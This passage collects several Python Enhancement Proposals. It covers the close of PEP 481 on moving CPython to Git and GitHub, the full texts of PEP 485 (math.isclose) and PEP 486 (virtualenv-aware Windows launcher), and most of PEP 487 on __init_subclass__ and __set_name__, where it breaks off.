that grounds alone. It is this PEPs belief that while using entirely Free/Open Source software is an attractive idea and a noble goal, that valuing the time of the contributors by giving them good tooling that is well maintained and that they either already know or if they learn it they can apply to other projects is a more important concern than treating whether something is Free/Open Source is a hard requirement. However, history has shown us that sometimes benevolent proprietary companies can stop being benevolent. This is hedged against in a few ways: We are not utilizing the GitHub Issue Tracker, both because it is not powerful enough for CPython but also because for the primary CPython repository the ability to take our issues and put them somewhere else if we ever need to leave GitHub relies on GitHub continuing to allow API access. We are utilizing the GitHub Pull Request workflow, however all of those changes live inside of Git. So a mirror of the GitHub repositories can easily contain all of those Pull Requests. We would potentially lose any comments if GitHub suddenly turned “evil”, but the changes themselves would still exist. We are utilizing the GitHub repository hosting feature, however since this is just git moving away from GitHub is as simple as pushing the repository to a different location. Data portability for the repository itself is extremely high. We are also utilizing Phabricator to provide an alternative for people who do not wish to use GitHub. This also acts as a fallback option which will already be in place if we ever need to stop using GitHub. Relying on GitHub comes with a number of benefits beyond just the benefits of the platform itself. Since it is a commercially backed venture it has a full-time staff responsible for maintaining its services. This includes making sure they stay up, making sure they stay patched for various security vulnerabilities, and further improving the software and infrastructure as time goes on. Mercurial is better than Git Whether Mercurial or Git is better on a technical level is a highly subjective opinion. This PEP does not state whether the mechanics of Git or Mercurial is better and instead focuses on the network effect that is available for either option. Since this PEP proposes switching to Git this leaves the people who prefer Mercurial out, however those users can easily continue to work with Mercurial by using the hg-git [2] extension for Mercurial which will let it work with a repository which is Git on the serverside. CPython Workflow is too Complicated One sentiment that came out of previous discussions was that the multi branch model of CPython was too complicated for Github Pull Requests. It is the belief of this PEP that statement is not accurate. Currently any particular change requires manually creating a patch for 2.7 and 3.x which won’t change at all in this regards. If someone submits a fix for the current stable branch (currently 3.4) the GitHub Pull Request workflow can be used to create, in the browser, a Pull Request to merge the current stable branch into the master branch (assuming there is no merge conflicts). If there is a merge conflict that would need to be handled locally. This provides an improvement over the current situation where the merge must always happen locally. Finally if someone submits a fix for the current development branch currently then this has to be manually applied to the stable branch if it desired to include it there as well. This must also happen locally as well in the new workflow, however for minor changes it could easily be accomplished in the GitHub web editor. Looking at this, I do not believe that any system can hide the complexities involved in maintaining several long running branches. The only thing that the tooling can do is make it as easy as possible to submit changes. Example: Scientific Python One of the key ideas behind the move to both git and Github is that a feature of a DVCS, the repository hosting, and the workflow used is the social network and size of the community using said tools. We can see this is true by looking at an example from a sub-community of the Python community: The Scientific Python community. They have already migrated most of the key pieces of the SciPy stack onto Github using the Pull Request-based workflow. This process started with IPython, and as more projects moved over it became a natural default for new projects in the community. They claim to have seen a great benefit from this move, in that it enables casual contributors to easily move between different projects within their sub-community without having to learn a special, bespoke workflow and a different toolchain for each project. They’ve found that when people can use their limited time on actually contributing instead of learning the different tools and workflows, not only do they contribute more to one project, but that they also expand out and contribute to other projects. This move has also been attributed to the increased tendency for members of that community to go so far as publishing their research and educational materials on Github as well. This example showcases the real power behind moving to a highly popular toolchain and workflow, as each variance introduces yet another hurdle for new and casual contributors to get past and it makes the time spent learning that workflow less reusable with other projects. References [1] Open Hub Statistics [2] Hg-Git mercurial plugin Copyright This document has been placed in the public domain.

Withdrawn

PEP 481 – Migrate CPython to Git, Github, and Phabricator

Process

Note

PEP 485 – A Function for testing approximate equality Author: Christopher Barker <PythonCHB at gmail.com> Status: Final Type: Standards Track Created: 20-Jan-2015 Python-Version: 3.5 Post-History: Resolution: Python-Dev message Table of Contents Abstract Rationale Existing Implementations Proposed Implementation Handling of non-finite numbers Non-float types Behavior near zero Implementation Relative Difference How much difference does it make? Symmetry Which symmetric test? Large Tolerances Defaults Relative Tolerance Default Absolute tolerance default Expected Uses Inappropriate uses Other Approaches unittest.TestCase.assertAlmostEqual numpy isclose() Boost floating-point comparison Alternate Proposals A Recipe zero_tol No absolute tolerance Other tests References Copyright Abstract This PEP proposes the addition of an isclose() function to the standard library math module that determines whether one value is approximately equal or “close” to another value. Rationale Floating point values contain limited precision, which results in their being unable to exactly represent some values, and for errors to accumulate with repeated computation. As a result, it is common advice to only use an equality comparison in very specific situations. Often an inequality comparison fits the bill, but there are times (often in testing) where the programmer wants to determine whether a computed value is “close” to an expected value, without requiring them to be exactly equal. This is common enough, particularly in testing, and not always obvious how to do it, that it would be useful addition to the standard library. Existing Implementations The standard library includes the unittest.TestCase.assertAlmostEqual method, but it: Is buried in the unittest.TestCase class Is an assertion, so you can’t use it as a general test at the command line, etc. (easily) Is an absolute difference test. Often the measure of difference requires, particularly for floating point numbers, a relative error, i.e. “Are these two values within x% of each-other?”, rather than an absolute error. Particularly when the magnitude of the values is unknown a priori. The numpy package has the allclose() and isclose() functions, but they are only available with numpy. The statistics package tests include an implementation, used for its unit tests. One can also find discussion and sample implementations on Stack Overflow and other help sites. Many other non-python systems provide such a test, including the Boost C++ library and the APL language [4]. These existing implementations indicate that this is a common need and not trivial to write oneself, making it a candidate for the standard library. Proposed Implementation NOTE: this PEP is the result of extended discussions on the python-ideas list [1]. The new function will go into the math module, and have the following signature: isclose(a, b, rel_tol=1e-9, abs_tol=0.0) a and b: are the two values to be tested to relative closeness rel_tol: is the relative tolerance – it is the amount of error allowed, relative to the larger absolute value of a or b. For example, to set a tolerance of 5%, pass tol=0.05. The default tolerance is 1e-9, which assures that the two values are the same within about 9 decimal digits. rel_tol must be greater than 0.0 abs_tol: is a minimum absolute tolerance level – useful for comparisons near zero. Modulo error checking, etc, the function will return the result of: abs(a-b) <= max( rel_tol * max(abs(a), abs(b)), abs_tol ) The name, isclose, is selected for consistency with the existing isnan and isinf. Handling of non-finite numbers The IEEE 754 special values of NaN, inf, and -inf will be handled according to IEEE rules. Specifically, NaN is not considered close to any other value, including NaN. inf and -inf are only considered close to themselves. Non-float types The primary use-case is expected to be floating point numbers. However, users may want to compare other numeric types similarly. In theory, it should work for any type that supports abs(), multiplication, comparisons, and subtraction. However, the implementation in the math module is written in C, and thus can not (easily) use python’s duck typing. Rather, the values passed into the function will be converted to the float type before the calculation is performed. Passing in types (or values) that cannot be converted to floats will raise an appropriate Exception (TypeError, ValueError, or OverflowError). The code will be tested to accommodate at least some values of these types: Decimal int Fraction complex: For complex, a companion function will be added to the cmath module. In cmath.isclose(), the tolerances are specified as floats, and the absolute value of the complex values will be used for scaling and comparison. If a complex tolerance is passed in, the absolute value will be used as the tolerance. NOTE: it may make sense to add a Decimal.isclose() that works properly and completely with the decimal type, but that is not included as part of this PEP. Behavior near zero Relative comparison is problematic if either value is zero. By definition, no value is small relative to zero. And computationally, if either value is zero, the difference is the absolute value of the other value, and the computed absolute tolerance will be rel_tol times that value. When rel_tol is less than one, the difference will never be less than the tolerance. However, while mathematically correct, there are many use cases where a user will need to know if a computed value is “close” to zero. This calls for an absolute tolerance test. If the user needs to call this function inside a loop or comprehension, where some, but not all, of the expected values may be zero, it is important that both a relative tolerance and absolute tolerance can be tested for with a single function with a single set of parameters. There is a similar issue if the two values to be compared straddle zero: if a is approximately equal to -b, then a and b will never be computed as “close”. To handle this case, an optional parameter, abs_tol can be used to set a minimum tolerance used in the case of very small or zero computed relative tolerance. That is, the values will be always be considered close if the difference between them is less than abs_tol The default absolute tolerance value is set to zero because there is no value that is appropriate for the general case. It is impossible to know an appropriate value without knowing the likely values expected for a given use case. If all the values tested are on order of one, then a value of about 1e-9 might be appropriate, but that would be far too large if expected values are on order of 1e-9 or smaller. Any non-zero default might result in user’s tests passing totally inappropriately. If, on the other hand, a test against zero fails the first time with defaults, a user will be prompted to select an appropriate value for the problem at hand in order to get the test to pass. NOTE: that the author of this PEP has resolved to go back over many of his tests that use the numpy allclose() function, which provides a default absolute tolerance, and make sure that the default value is appropriate. If the user sets the rel_tol parameter to 0.0, then only the absolute tolerance will effect the result. While not the goal of the function, it does allow it to be used as a purely absolute tolerance check as well. Implementation A sample implementation in python is available (as of Jan 22, 2015) on gitHub: https://github.com/PythonCHB/close_pep/blob/master/is_close.py This implementation has a flag that lets the user select which relative tolerance test to apply – this PEP does not suggest that that be retained, but rather that the weak test be selected. There are also drafts of this PEP and test code, etc. there: https://github.com/PythonCHB/close_pep Relative Difference There are essentially two ways to think about how close two numbers are to each-other: Absolute difference: simply abs(a-b) Relative difference: abs(a-b)/scale_factor [2]. The absolute difference is trivial enough that this proposal focuses on the relative difference. Usually, the scale factor is some function of the values under consideration, for instance: The absolute value of one of the input values The maximum absolute value of the two The minimum absolute value of the two. The absolute value of the arithmetic mean of the two These lead to the following possibilities for determining if two values, a and b, are close to each other. abs(a-b) <= tol*abs(a) abs(a-b) <= tol * max( abs(a), abs(b) ) abs(a-b) <= tol * min( abs(a), abs(b) ) abs(a-b) <= tol * abs(a + b)/2 NOTE: (2) and (3) can also be written as: (abs(a-b) <= abs(tol*a)) or (abs(a-b) <= abs(tol*b)) (abs(a-b) <= abs(tol*a)) and (abs(a-b) <= abs(tol*b)) (Boost refers to these as the “weak” and “strong” formulations [3]) These can be a tiny bit more computationally efficient, and thus are used in the example code. Each of these formulations can lead to slightly different results. However, if the tolerance value is small, the differences are quite small. In fact, often less than available floating point precision. How much difference does it make? When selecting a method to determine closeness, one might want to know how much of a difference it could make to use one test or the other – i.e. how many values are there (or what range of values) that will pass one test, but not the other. The largest difference is between options (2) and (3) where the allowable absolute difference is scaled by either the larger or smaller of the values. Define delta to be the difference between the allowable absolute tolerance defined by the larger value and that defined by the smaller value. That is, the amount that the two input values need to be different in order to get a different result from the two tests. tol is the relative tolerance value. Assume that a is the larger value and that both a and b are positive, to make the analysis a bit easier. delta is therefore: delta = tol * (a-b) or: delta / tol = (a-b) The largest absolute difference that would pass the test: (a-b), equals the tolerance times the larger value: (a-b) = tol * a Substituting into the expression for delta: delta / tol = tol * a so: delta = tol**2 * a For example, for a = 10, b = 9, tol = 0.1 (10%): maximum tolerance tol * a == 0.1 * 10 == 1.0 minimum tolerance tol * b == 0.1 * 9.0 == 0.9 delta = (1.0 - 0.9) = 0.1 or tol**2 * a = 0.1**2 * 10 = .1 The absolute difference between the maximum and minimum tolerance tests in this case could be substantial. However, the primary use case for the proposed function is testing the results of computations. In that case a relative tolerance is likely to be selected of much smaller magnitude. For example, a relative tolerance of 1e-8 is about half the precision available in a python float. In that case, the difference between the two tests is 1e-8**2 * a or 1e-16 * a, which is close to the limit of precision of a python float. If the relative tolerance is set to the proposed default of 1e-9 (or smaller), the difference between the two tests will be lost to the limits of precision of floating point. That is, each of the four methods will yield exactly the same results for all values of a and b. In addition, in common use, tolerances are defined to 1 significant figure – that is, 1e-9 is specifying about 9 decimal digits of accuracy. So the difference between the various possible tests is well below the precision to which the tolerance is specified. Symmetry A relative comparison can be either symmetric or non-symmetric. For a symmetric algorithm: isclose(a,b) is always the same as isclose(b,a) If a relative closeness test uses only one of the values (such as (1) above), then the result is asymmetric, i.e. isclose(a,b) is not necessarily the same as isclose(b,a). Which approach is most appropriate depends on what question is being asked. If the question is: “are these two numbers close to each other?”, there is no obvious ordering, and a symmetric test is most appropriate. However, if the question is: “Is the computed value within x% of this known value?”, then it is appropriate to scale the tolerance to the known value, and an asymmetric test is most appropriate. From the previous section, it is clear that either approach would yield the same or similar results in the common use cases. In that case, the goal of this proposal is to provide a function that is least likely to produce surprising results. The symmetric approach provide an appealing consistency – it mirrors the symmetry of equality, and is less likely to confuse people. A symmetric test also relieves the user of the need to think about the order in which to set the arguments. It was also pointed out that there may be some cases where the order of evaluation may not be well defined, for instance in the case of comparing a set of values all against each other. There may be cases when a user does need to know that a value is within a particular range of a known value. In that case, it is easy enough to simply write the test directly: if a-b <= tol*a: (assuming a > b in this case). There is little need to provide a function for this particular case. This proposal uses a symmetric test. Which symmetric test? There are three symmetric tests considered: The case that uses the arithmetic mean of the two values requires that the value be either added together before dividing by 2, which could result in extra overflow to inf for very large numbers, or require each value to be divided by two before being added together, which could result in underflow to zero for very small numbers. This effect would only occur at the very limit of float values, but it was decided there was no benefit to the method worth reducing the range of functionality or adding the complexity of checking values to determine the order of computation. This leaves the boost “weak” test (2)– or using the larger value to scale the tolerance, or the Boost “strong” (3) test, which uses the smaller of the values to scale the tolerance. For small tolerance, they yield the same result, but this proposal uses the boost “weak” test case: it is symmetric and provides a more useful result for very large tolerances. Large Tolerances The most common use case is expected to be small tolerances – on order of the default 1e-9. However, there may be use cases where a user wants to know if two fairly disparate values are within a particular range of each other: “is a within 200% (rel_tol = 2.0) of b? In this case, the strong test would never indicate that two values are within that range of each other if one of them is zero. The weak case, however would use the larger (non-zero) value for the test, and thus return true if one value is zero. For example: is 0 within 200% of 10? 200% of ten is 20, so the range within 200% of ten is -10 to +30. Zero falls within that range, so it will return True. Defaults Default values are required for the relative and absolute tolerance. Relative Tolerance Default The relative tolerance required for two values to be considered “close” is entirely use-case dependent. Nevertheless, the relative tolerance needs to be greater than 1e-16 (approximate precision of a python float). The value of 1e-9 was selected because it is the largest relative tolerance for which the various possible methods will yield the same result, and it is also about half of the precision available to a python float. In the general case, a good numerical algorithm is not expected to lose more than about half of available digits of accuracy, and if a much larger tolerance is acceptable, the user should be considering the proper value in that case. Thus 1e-9 is expected to “just work” for many cases. Absolute tolerance default The absolute tolerance value will be used primarily for comparing to zero. The absolute tolerance required to determine if a value is “close” to zero is entirely use-case dependent. There is also essentially no bounds to the useful range – expected values would conceivably be anywhere within the limits of a python float. Thus a default of 0.0 is selected. If, for a given use case, a user needs to compare to zero, the test will be guaranteed to fail the first time, and the user can select an appropriate value. It was suggested that comparing to zero is, in fact, a common use case (evidence suggest that the numpy functions are often used with zero). In this case, it would be desirable to have a “useful” default. Values around 1e-8 were suggested, being about half of floating point precision for values of around value 1. However, to quote The Zen: “In the face of ambiguity, refuse the temptation to guess.” Guessing that users will most often be concerned with values close to 1.0 would lead to spurious passing tests when used with smaller values – this is potentially more damaging than requiring the user to thoughtfully select an appropriate value. Expected Uses The primary expected use case is various forms of testing – “are the results computed near what I expect as a result?” This sort of test may or may not be part of a formal unit testing suite. Such testing could be used one-off at the command line, in an IPython notebook, part of doctests, or simple asserts in an if __name__ == "__main__" block. It would also be an appropriate function to use for the termination criteria for a simple iterative solution to an implicit function: guess = something while True: new_guess = implicit_function(guess, *args) if isclose(new_guess, guess): break guess = new_guess Inappropriate uses One use case for floating point comparison is testing the accuracy of a numerical algorithm. However, in this case, the numerical analyst ideally would be doing careful error propagation analysis, and should understand exactly what to test for. It is also likely that ULP (Unit in the Last Place) comparison may be called for. While this function may prove useful in such situations, It is not intended to be used in that way without careful consideration. Other Approaches unittest.TestCase.assertAlmostEqual (https://docs.python.org/3/library/unittest.html#unittest.TestCase.assertAlmostEqual) Tests that values are approximately (or not approximately) equal by computing the difference, rounding to the given number of decimal places (default 7), and comparing to zero. This method is purely an absolute tolerance test, and does not address the need for a relative tolerance test. numpy isclose() http://docs.scipy.org/doc/numpy-dev/reference/generated/numpy.isclose.html The numpy package provides the vectorized functions isclose() and allclose(), for similar use cases as this proposal: isclose(a, b, rtol=1e-05, atol=1e-08, equal_nan=False) Returns a boolean array where two arrays are element-wise equal within a tolerance.The tolerance values are positive, typically very small numbers. The relative difference (rtol * abs(b)) and the absolute difference atol are added together to compare against the absolute difference between a and b In this approach, the absolute and relative tolerance are added together, rather than the or method used in this proposal. This is computationally more simple, and if relative tolerance is larger than the absolute tolerance, then the addition will have no effect. However, if the absolute and relative tolerances are of similar magnitude, then the allowed difference will be about twice as large as expected. This makes the function harder to understand, with no computational advantage in this context. Even more critically, if the values passed in are small compared to the absolute tolerance, then the relative tolerance will be completely swamped, perhaps unexpectedly. This is why, in this proposal, the absolute tolerance defaults to zero – the user will be required to choose a value appropriate for the values at hand. Boost floating-point comparison The Boost project ( [3] ) provides a floating point comparison function. It is a symmetric approach, with both “weak” (larger of the two relative errors) and “strong” (smaller of the two relative errors) options. This proposal uses the Boost “weak” approach. There is no need to complicate the API by providing the option to select different methods when the results will be similar in most cases, and the user is unlikely to know which to select in any case. Alternate Proposals A Recipe The primary alternate proposal was to not provide a standard library function at all, but rather, provide a recipe for users to refer to. This would have the advantage that the recipe could provide and explain the various options, and let the user select that which is most appropriate. However, that would require anyone needing such a test to, at the very least, copy the function into their code base, and select the comparison method to use. zero_tol One possibility was to provide a zero tolerance parameter, rather than the absolute tolerance parameter. This would be an absolute tolerance that would only be applied in the case of one of the arguments being exactly zero. This would have the advantage of retaining the full relative tolerance behavior for all non-zero values, while allowing tests against zero to work. However, it would also result in the potentially surprising result that a small value could be “close” to zero, but not “close” to an even smaller value. e.g., 1e-10 is “close” to zero, but not “close” to 1e-11. No absolute tolerance Given the issues with comparing to zero, another possibility would have been to only provide a relative tolerance, and let comparison to zero fail. In this case, the user would need to do a simple absolute test: abs(val) < zero_tol in the case where the comparison involved zero. However, this would not allow the same call to be used for a sequence of values, such as in a loop or comprehension. Making the function far less useful. It is noted that the default abs_tol=0.0 achieves the same effect if the default is not overridden. Other tests The other tests considered are all discussed in the Relative Error section above. References [1] Python-ideas list discussion threadshttps://mail.python.org/pipermail/python-ideas/2015-January/030947.html https://mail.python.org/pipermail/python-ideas/2015-January/031124.html https://mail.python.org/pipermail/python-ideas/2015-January/031313.html [2] Wikipedia page on relative differencehttp://en.wikipedia.org/wiki/Relative_change_and_difference [3] (1, 2) Boost project floating-point comparison algorithmshttp://www.boost.org/doc/libs/1_35_0/libs/test/doc/components/test_tools/floating_point_comparison.html [4] 1976. R. H. Lathwell. APL comparison tolerance. Proceedings of the eighth international conference on APL Pages 255 - 258http://dl.acm.org/citation.cfm?doid=800114.803685 Copyright This document has been placed in the public domain.

Final

PEP 485 – A Function for testing approximate equality

Standards Track

This PEP proposes the addition of an isclose() function to the standard library math module that determines whether one value is approximately equal or “close” to another value.

PEP 486 – Make the Python Launcher aware of virtual environments Author: Paul Moore <p.f.moore at gmail.com> Status: Final Type: Standards Track Created: 12-Feb-2015 Python-Version: 3.5 Post-History: 12-Feb-2015 Resolution: Python-Dev message Table of Contents Abstract Rationale Implementation Impact on Script Launching Exclusions Reference Implementation References Copyright Abstract The Windows installers for Python include a launcher that locates the correct Python interpreter to run (see PEP 397). However, the launcher is not aware of virtual environments (virtualenv [1] or PEP 405 based), and so cannot be used to run commands from the active virtualenv. This PEP proposes making the launcher “virtualenv aware”. This means that when run without specifying an explicit Python interpreter to use, the launcher will use the currently active virtualenv, if any, before falling back to the configured default Python. Rationale Windows users with multiple copies of Python installed need a means of selecting which one to use. The Python launcher provides this facility by means of a py command that can be used to run either a configured “default” Python or a specific interpreter, by means of command line arguments. So typical usage would be: # Run the Python interactive interpreter py # Execute an installed module py -m pip install pytest py -m pytest When using virtual environments, the py launcher is unaware that a virtualenv is active, and will continue to use the system Python. So different command invocations are needed to run the same commands in a virtualenv: # Run the Python interactive interpreter python # Execute an installed module (these could use python -m, # which is longer to type but is a little more similar to the # launcher approach) pip install pytest py.test Having to use different commands is error-prone, and in many cases the error is difficult to spot immediately. The PEP proposes making the py command usable with virtual environments, so that the first form of command can be used in all cases. Implementation Both virtualenv and the core venv module set an environment variable VIRTUAL_ENV when activating a virtualenv. This PEP proposes that the launcher checks for the VIRTUAL_ENV environment variable whenever it would run the “default” Python interpreter for the system (i.e., when no specific version flags such as py -2.7 are used) and if present, run the Python interpreter for the virtualenv rather than the default system Python. The “default” Python interpreter referred to above is (as per PEP 397) either the latest version of Python installed on the system, or a version configured via the py.ini configuration file. When the user specifies an explicit Python version on the command line, this will always be used (as at present). Impact on Script Launching As well as interactive use, the launcher is used as the Windows file association for Python scripts. In that case, a “shebang” (#!) line at the start of the script is used to identify the interpreter to run. A fully-qualified path can be used, or a version-specific Python (python3 or python2, or even python3.5), or the generic python, which means to use the default interpreter. The launcher also looks for the specific shebang line #!/usr/bin/env python. On Unix, the env program searches for a command on $PATH and runs the command so located. Similarly, with this shebang line, the launcher will look for a copy of python.exe on the user’s current %PATH% and will run that copy. As activating a virtualenv means that it is added to PATH, no special handling is needed to run scripts with the active virtualenv - they just need to use the #!/usr/bin/env python shebang line, exactly as on Unix. (If there is no activated virtualenv, and no python.exe on PATH, the launcher will look for a default Python exactly as if the shebang line had said #!python). Exclusions The PEP makes no attempt to promote the use of the launcher for running Python on Windows. Most existing documentation assumes the user of python as the command to run Python, and (for example) pip to run an installed Python command. This documentation is not expected to change, and users who choose to manage their PATH environment variable can continue to use this form. The focus of this PEP is purely on allowing users who prefer to use the launcher when dealing with their system Python installations, to be able to continue to do so when using virtual environments. Reference Implementation A patch implementing the proposed behaviour is available at http://bugs.python.org/issue23465 References [1] https://virtualenv.pypa.io/ Copyright This document has been placed in the public domain.

Final

PEP 486 – Make the Python Launcher aware of virtual environments

Standards Track

The Windows installers for Python include a launcher that locates the correct Python interpreter to run (see PEP 397). However, the launcher is not aware of virtual environments (virtualenv [1] or PEP 405 based), and so cannot be used to run commands from the active virtualenv.

PEP 487 – Simpler customisation of class creation Author: Martin Teichmann <lkb.teichmann at gmail.com> Status: Final Type: Standards Track Created: 27-Feb-2015 Python-Version: 3.6 Post-History: 27-Feb-2015, 05-Feb-2016, 24-Jun-2016, 02-Jul-2016, 13-Jul-2016 Replaces: 422 Resolution: Python-Dev message Table of Contents Abstract Background Proposal Key Benefits Easier inheritance of definition time behaviour Reduced chance of metaclass conflicts New Ways of Using Classes Subclass registration Trait descriptors Implementation Details Reference Implementation Backward compatibility issues Rejected Design Options Calling the hook on the class itself Other variants of calling the hooks Requiring an explicit decorator on __init_subclass__ A more __new__-like hook Adding a class attribute with the attribute order History Copyright Abstract Currently, customising class creation requires the use of a custom metaclass. This custom metaclass then persists for the entire lifecycle of the class, creating the potential for spurious metaclass conflicts. This PEP proposes to instead support a wide range of customisation scenarios through a new __init_subclass__ hook in the class body, and a hook to initialize attributes. The new mechanism should be easier to understand and use than implementing a custom metaclass, and thus should provide a gentler introduction to the full power of Python’s metaclass machinery. Background Metaclasses are a powerful tool to customize class creation. They have, however, the problem that there is no automatic way to combine metaclasses. If one wants to use two metaclasses for a class, a new metaclass combining those two needs to be created, typically manually. This need often occurs as a surprise to a user: inheriting from two base classes coming from two different libraries suddenly raises the necessity to manually create a combined metaclass, where typically one is not interested in those details about the libraries at all. This becomes even worse if one library starts to make use of a metaclass which it has not done before. While the library itself continues to work perfectly, suddenly every code combining those classes with classes from another library fails. Proposal While there are many possible ways to use a metaclass, the vast majority of use cases falls into just three categories: some initialization code running after class creation, the initialization of descriptors and keeping the order in which class attributes were defined. The first two categories can easily be achieved by having simple hooks into the class creation: An __init_subclass__ hook that initializes all subclasses of a given class. upon class creation, a __set_name__ hook is called on all the attribute (descriptors) defined in the class, and The third category is the topic of another PEP, PEP 520. As an example, the first use case looks as follows: >>> class QuestBase: ... # this is implicitly a @classmethod (see below for motivation) ... def __init_subclass__(cls, swallow, **kwargs): ... cls.swallow = swallow ... super().__init_subclass__(**kwargs) >>> class Quest(QuestBase, swallow="african"): ... pass >>> Quest.swallow 'african' The base class object contains an empty __init_subclass__ method which serves as an endpoint for cooperative multiple inheritance. Note that this method has no keyword arguments, meaning that all methods which are more specialized have to process all keyword arguments. This general proposal is not a new idea (it was first suggested for inclusion in the language definition more than 10 years ago, and a similar mechanism has long been supported by Zope’s ExtensionClass), but the situation has changed sufficiently in recent years that the idea is worth reconsidering for inclusion. The second part of the proposal adds an __set_name__ initializer for class attributes, especially if they are descriptors. Descriptors are defined in the body of a class, but they do not know anything about that class, they do not even know the name they are accessed with. They do get to know their owner once __get__ is called, but still they do not know their name. This is unfortunate, for example they cannot put their associated value into their object’s __dict__ under their name, since they do not know that name. This problem has been solved many times, and is one of the most important reasons to have a metaclass in a library. While it would be easy to implement such a mechanism using the first part of the proposal, it makes sense to have one solution for this problem for everyone. To give an example of its usage, imagine a descriptor representing weak referenced values: import weakref class WeakAttribute: def __get__(self, instance, owner): return instance.__dict__[self.name]() def __set__(self, instance, value): instance.__dict__[self.name] = weakref.ref(value) # this is the new initializer: def __set_name__(self, owner, name): self.name = name Such a WeakAttribute may, for example, be used in a tree structure where one wants to avoid cyclic references via the parent: class TreeNode: parent = WeakAttribute() def __init__(self, parent): self.parent = parent Note that the parent attribute is used like a normal attribute, yet the tree contains no cyclic references and can thus be easily garbage collected when out of use. The parent attribute magically becomes None once the parent ceases existing. While this example looks very trivial, it should be noted that until now such an attribute cannot be defined without the use of a metaclass. And given that such a metaclass can make life very hard, this kind of attribute does not exist yet. Initializing descriptors could simply be done in the __init_subclass__ hook. But this would mean that descriptors can only be used in classes that have the proper hook, the generic version like in the example would not work generally. One could also call __set_name__ from within the base implementation of object.__init_subclass__. But given that it is a common mistake to forget to call super(), it would happen too often that suddenly descriptors are not initialized. Key Benefits Easier inheritance of definition time behaviour Understanding Python’s metaclasses requires a deep understanding of the type system and the class construction process. This is legitimately seen as challenging, due to the need to keep multiple moving parts (the code, the metaclass hint, the actual metaclass, the class object, instances of the class object) clearly distinct in your mind. Even when you know the rules, it’s still easy to make a mistake if you’re not being extremely careful. Understanding the proposed implicit class initialization hook only requires ordinary method inheritance, which isn’t quite as daunting a task. The new hook provides a more gradual path towards understanding all of the phases involved in the class definition process. Reduced chance of metaclass conflicts One of the big issues that makes library authors reluctant to use metaclasses (even when they would be appropriate) is the risk of metaclass conflicts. These occur whenever two unrelated metaclasses are used by the desired parents of a class definition. This risk also makes it very difficult to add a metaclass to a class that has previously been published without one. By contrast, adding an __init_subclass__ method to an existing type poses a similar level of risk to adding an __init__ method: technically, there is a risk of breaking poorly implemented subclasses, but when that occurs, it is recognised as a bug in the subclass rather than the library author breaching backwards compatibility guarantees. New Ways of Using Classes Subclass registration Especially when writing a plugin system, one likes to register new subclasses of a plugin baseclass. This can be done as follows: class PluginBase: subclasses = [] def __init_subclass__(cls, **kwargs): super().__init_subclass__(**kwargs) cls.subclasses.append(cls) In this example, PluginBase.subclasses will contain a plain list of all subclasses in the entire inheritance tree. One should note that this also works nicely as a mixin class. Trait descriptors There are many designs of Python descriptors in the wild which, for example, check boundaries of values. Often those “traits” need some support of a metaclass to work. This is how this would look like with this PEP: class Trait: def __init__(self, minimum, maximum): self.minimum = minimum self.maximum = maximum def __get__(self, instance, owner): return instance.__dict__[self.key] def __set__(self, instance, value): if self.minimum < value < self.maximum: instance.__dict__[self.key] = value else: raise ValueError("value not in range") def __set_name__(self, owner, name): self.key = name Implementation Details The hooks are called in the following order: type.__new__ calls the __set_name__ hooks on the descriptor after the new class has been initialized. Then it calls __init_subclass__ on the base class, on super(), to be precise. This means that subclass initializers already see the fully initialized descriptors. This way, __init_subclass__ users can fix all descriptors again if this is needed. Another option would have been to call __set_name__ in the base implementation of object.__init_subclass__. This way it would be possible even to prevent __set_name__ from being called. Most of the times, however, such a prevention would be accidental, as it often happens that a call to super() is forgotten. As a third option, all the work could have been done in type.__init__. Most metaclasses do their work in __new__, as this is recommended by the documentation. Many metaclasses modify their arguments before they pass them over to super().__new__. For compatibility with those kind of classes, the hooks should be called from __new__. Another small change should be done: in the current implementation of CPython, type.__init__ explicitly forbids the use of keyword arguments, while type.__new__ allows for its attributes to be shipped as keyword arguments. This is weirdly incoherent, and thus it should be forbidden. While it would be possible to retain the current behavior, it would be better if this was fixed, as it is probably not used at all: the only use case would be that at metaclass calls its super().__new__ with name, bases and dict (yes, dict, not namespace or ns as mostly used with modern metaclasses) as keyword arguments. This should not be done. This little change simplifies the implementation of this PEP significantly, while improving the coherence of Python overall. As a second change, the new type.__init__ just ignores keyword arguments. Currently, it insists that no keyword arguments are given. This leads to a (wanted) error if one gives keyword arguments to a class declaration if the metaclass does not process them. Metaclass authors that do want to accept keyword arguments must filter them out by overriding __init__. In the new code, it is not __init__ that complains about keyword arguments, but __init_subclass__, whose default implementation takes no arguments. In a classical inheritance scheme using the method resolution order, each __init_subclass__ may take out it’s keyword arguments until none are left, which is checked by the default implementation of __init_subclass__. For readers who prefer reading Python over English, this PEP proposes to replace the current type and object with the following: class NewType(type): def __new__(cls, *args, **kwargs): if len(args) != 3: return super().__new__(cls, *args) name, bases, ns = args init = ns.get('__init_subclass__') if isinstance(init, types.FunctionType): ns['__init_subclass__'] = classmethod(init) self = super().__new__(cls, name, bases, ns) for k, v in self.__dict__.items(): func = getattr(v, '__set_name__', None) if func is not None: func(self, k) super(self, self).__init_subclass__(**kwargs) return self def __init__(self, name, bases, ns, **kwargs): super().__init__(name, bases, ns) class NewObject(object): @classmethod def __init_subclass__(cls): pass Reference Implementation The reference implementation for this PEP is attached to issue 27366. Backward compatibility issues The exact calling sequence in type.__new__ is slightly changed, raising fears of backwards compatibility. It should be assured by tests that common use cases behave as desired. The following class definitions (except the one defining the metaclass) continue to fail with a TypeError as superfluous class arguments are passed: class MyMeta(type): pass class MyClass(metaclass=MyMeta, otherarg=1): pass MyMeta("MyClass", (), otherargs=1) import types types.new_class("MyClass", (), dict(metaclass=MyMeta, otherarg=1)) types.prepare_class("MyClass", (), dict(metaclass=MyMeta, otherarg=1)) A metaclass defining only a __new__ method which is interested in keyword arguments now does not need to define an __init__ method anymore, as the default type.__init__ ignores keyword arguments. This is nicely in line with the recommendation to override __new__ in metaclasses instead of __init__. The following code does not fail anymore: class MyMeta(type): def __new__(cls, name, bases, namespace, otherarg): return super().__new__(cls, name, bases, namespace) class MyClass(metaclass=MyMeta, otherarg=1): pass Only defining an __init__ method in a metaclass continues to fail with TypeError if keyword arguments are given: class MyMeta(type): def __init__(self, name, bases, namespace, otherarg): super().__init__(name, bases, namespace) class MyClass(metaclass=MyMeta, otherarg=1): pass Defining both __init__ and __new__ continues to work fine. About the only thing that stops working is passing the arguments of type.__new__ as keyword arguments: class MyMeta(type): def __new__(cls, name, bases, namespace): return super().__new__(cls, name=name, bases=bases, dict=namespace) class MyClass(metaclass=MyMeta): pass This will now raise TypeError, but this is weird code, and easy to fix even if someone used this feature. Rejected Design Options Calling the hook on the class itself 